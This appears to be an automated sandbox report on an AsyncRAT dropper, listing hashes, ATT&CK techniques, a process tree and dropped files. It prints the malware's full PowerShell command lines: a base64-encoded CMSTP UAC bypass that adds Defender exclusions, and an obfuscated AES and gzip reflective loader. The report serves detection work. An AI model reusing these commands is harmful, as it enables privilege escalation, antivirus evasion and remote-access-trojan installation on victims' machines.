d7f1777e338ff75532c01ef6fb8dd7bdf6fcba46d8ed8c7eba15f34e464b1d21

Analysis

max time kernel
150s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-12-2024 21:49

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General

Target

AsyncRAT/upload.config.exe
Size

9.8MB
MD5

7a1eaa75ff1d1e83f564d0e5312a0930
SHA1

91988fcd3ffe2945d614f2141e0124f9ebcd6e01
SHA256

de47ee6f5098830b2569a1f0f889e021a9be2604093e3e157852060d307aa9f2
SHA512

b1d06ffc724e7a393387fb84900af0badf3a84bfe3ea0b2bed27d41f3114586e7b25b9661c2f23476b51b6cf9d5dcb36cf1d807c5441909b2a8315e4d40cc8c7
SSDEEP

49152:Plnb9f3/00iPuJXm6Os/CTu9VnAaZ+6AmX9mQXd0ujFFoyS+km9nmgMfq9+s6ewR:NnF00iPu

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2928	powershell.exe
2120	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2604	AsyncRAT.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2120	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2928	powershell.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2604	AsyncRAT.exe
2120	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2604	AsyncRAT.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2604	AsyncRAT.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2604	AsyncRAT.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 1152	2580	upload.config.exe	30
PID 2580 wrote to memory of 1152	2580	upload.config.exe	30
PID 2580 wrote to memory of 1152	2580	upload.config.exe	30
PID 2580 wrote to memory of 2140	2580	upload.config.exe	31
PID 2580 wrote to memory of 2140	2580	upload.config.exe	31
PID 2580 wrote to memory of 2140	2580	upload.config.exe	31
PID 1152 wrote to memory of 2604	1152	cmd.exe	34
PID 1152 wrote to memory of 2604	1152	cmd.exe	34
PID 1152 wrote to memory of 2604	1152	cmd.exe	34
PID 2140 wrote to memory of 2996	2140	cmd.exe	35
PID 2140 wrote to memory of 2996	2140	cmd.exe	35
PID 2140 wrote to memory of 2996	2140	cmd.exe	35
PID 2996 wrote to memory of 2928	2996	WScript.exe	36
PID 2996 wrote to memory of 2928	2996	WScript.exe	36
PID 2996 wrote to memory of 2928	2996	WScript.exe	36
PID 2996 wrote to memory of 1856	2996	WScript.exe	41
PID 2996 wrote to memory of 1856	2996	WScript.exe	41
PID 2996 wrote to memory of 1856	2996	WScript.exe	41
PID 1856 wrote to memory of 2120	1856	cmd.exe	43
PID 1856 wrote to memory of 2120	1856	cmd.exe	43
PID 1856 wrote to memory of 2120	1856	cmd.exe	43
PID 1856 wrote to memory of 2120	1856	cmd.exe	43

C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe
"C:\Users\Admin\AppData\Local\Temp\AsyncRAT\upload.config.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\system32\cmd.exe
  cmd /k start AsyncRAT.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe
    AsyncRAT.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:2604
- C:\Windows\system32\cmd.exe
  cmd /k start 7254_output.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2140
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2928
  - - C:\Windows\System32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1856
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZTKslE6OdsXNtdeXo76Lj86BwdjokmZoErSJ0CEwRis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ftBNGOmShOOXC7u6Pue69A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZjNXA=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$hkZyt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YeAxa=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZjNXA, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $YeAxa.CopyTo($hkZyt); $YeAxa.Dispose(); $ZjNXA.Dispose(); $hkZyt.Dispose(); $hkZyt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$hMSFrZstRXKXXSE=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA=$hMSFrZstRXKXXSE.OBFOBFUSCUDAEOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDAPOBFOBFUSCUDAoOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAtOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$YHCrtoDbeFwPknhvovWwaLUfKHQVaPjnhUuqCjeMELNaUjhfKCwCbvDmNxHMyHbovjIqSQTfrkRpYUkAzKlxtHmLqhDeBroXJyEKARmTJrlRDooTmhmNvDVOXXZLnODZWUFzpzZHxsObwuhcSKSufA.OBFOBFUSCUDAIOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAoOBFOBFUSCUDAkOBFOBFUSCUDAeOBFOBFUSCUDA($null, $param2_var);'.Replace('OBFOBFUSCUDA', '');}$zQ = 'C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $zQ;$UwrDhZatxq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($zQ).Split([Environment]::NewLine);foreach ($EN in $UwrDhZatxq) { if ($EN.StartsWith(':: ')) { $Z=$EN.Substring(3); break; }}$payloads_var=[string[]]$Z.Split('\');IEX '$payload1_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAse6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDAriOBFOBFUSCUDAnOBFOBFUSCUDAgOBFOBFUSCUDA($payloads_var[0])));'.Replace('OBFOBFUSCUDA', '');IEX '$payload2_var=decompress_function (decrypt_function ([OBFOBFUSCUDACOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAvOBFOBFUSCUDAeOBFOBFUSCUDArOBFOBFUSCUDAt]::OBFOBFUSCUDAFOBFOBFUSCUDArOBFOBFUSCUDAoOBFOBFUSCUDAmOBFOBFUSCUDABOBFOBFUSCUDAaOBFOBFUSCUDAsOBFOBFUSCUDAeOBFOBFUSCUDA6OBFOBFUSCUDA4OBFOBFUSCUDASOBFOBFUSCUDAtrOBFOBFUSCUDAiOBFOBFUSCUDAnOBFOBFUSCUDAg($payloads_var[1])));'.Replace('OBFOBFUSCUDA', '');execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('OBFOBFUSCUDA'));
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2120

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Server\AsyncRAT.exe_Url_bsozgjfh10ettuvlzzecwz2b2kv3ubbv\0.5.8.0\user.config

Filesize
319B

MD5
f71f55112253acc1ef2ecd0a61935970

SHA1
faa9d50656e386e460278d31b1d9247fdd947bb7

SHA256
d1ad588a08c8c0799d7a14509f1e0a7ae04c519102ed9d328a83fe65999e6179

SHA512
761b5c13e39bd4ae21d298084bbe747ae71c383fedf9a51fd5e9723a8b3b4547de459d82bac7f3f8f3bfc11cfb0528a4f1057b51996d7d046583109a53317b44

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\7254_output.vbs

Filesize
203KB

MD5
02081ae0dbab5cbb3ba6fb3d316bb850

SHA1
0b422b950e717427ec53709384b214433871f78b

SHA256
f93f8db130adb1cb891c6a8591d1c2f518a4ba3d5aed98d1e7b530030b0297bb

SHA512
7ae8c0859f25c7cecaa0be83d5ac99d20bde7287ef1f49ddd3114d4683c8ec05a2947f0c0d27b62ea5b4b0764d6ae0a104ffa7d6d84a46b1bd0ecb1eac9d718d

Download Submit
C:\Users\Admin\AppData\Local\Temp\AsyncRAT\AsyncRAT.exe

Filesize
6.4MB

MD5
